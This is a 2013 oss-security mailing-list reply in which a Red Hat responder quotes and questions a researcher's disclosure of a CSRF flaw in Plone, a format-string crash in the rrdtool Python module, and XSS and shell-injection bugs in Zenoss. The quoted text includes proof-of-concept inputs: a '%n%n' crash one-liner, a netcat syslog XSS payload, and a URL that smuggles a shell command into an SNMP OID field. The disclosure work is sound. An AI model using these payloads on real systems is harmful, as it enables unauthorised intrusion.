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Date: Thu, 18 Apr 2013 14:08:09 -0600
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: Thomas Pollet <thomas.pollet@...il.com>
Subject: Re: plone, rrdtool, zenoss bugs
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On 04/18/2013 06:05 AM, Thomas Pollet wrote:
> Hi,
>
> I reported a csrf bug in plone pluggable authentication service,
> fixed in 4.2.5 http://plone.org/products/plone/releases/4.2.5 "
> CSRF protection for the ZODBUserManager, ZODBGroupManager,
> ZODBRoleManger, and DynamicGroupsPlugin plugins."
Was this previously exploitable, or is this just a hardening measure?
> Also, the rrdtool python module crashes on format string exploit $
> python -c "import rrdtool
> rrdtool.graph('/tmp/out.png','-f','%n%n')" Segmentation fault
Have you notified upstream?
> this module is used by zenoss to create graphs (zenoss users are
> able to pass arguments to rrdtool).
>
> On zenoss, I reported some bugs to them (and to this list) which
> have been fixed in the latest release (4.2.3). for example, zenoss
> displayed syslog and snmp input without filtering html characters
> which results in xss.
This was done via rrdtool backend, or something else as well?
> example syslog exploit : echo '<130>' Aug 29 07:17:34 test '<xss>'
> | nc -u zenoss 514
>
> another bug was that the test_datasource feature doesn't escape the
> snmp oid which is passed by zenoss to the shell as an argument for
> the snmpwalk command example: https://
> [ZENOSS_HOST]/zport/dmd/Devices/rrdTemplates/Device/datasources/sysUpTime/test_datasource?data={%22newId%22:%22DetectedVirus%22,%22oid%22:%22$%28ls%20%3E%20/tmp/pwn%29%22,%22enabled%22:%22on%22,%22testDevice%22:%22127.0.0.1%22,%22uid%22:%22%22}
>
> http://jira.zenoss.com/jira/browse/ZEN-3183
>
>
> Cheers, T
>
- --
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
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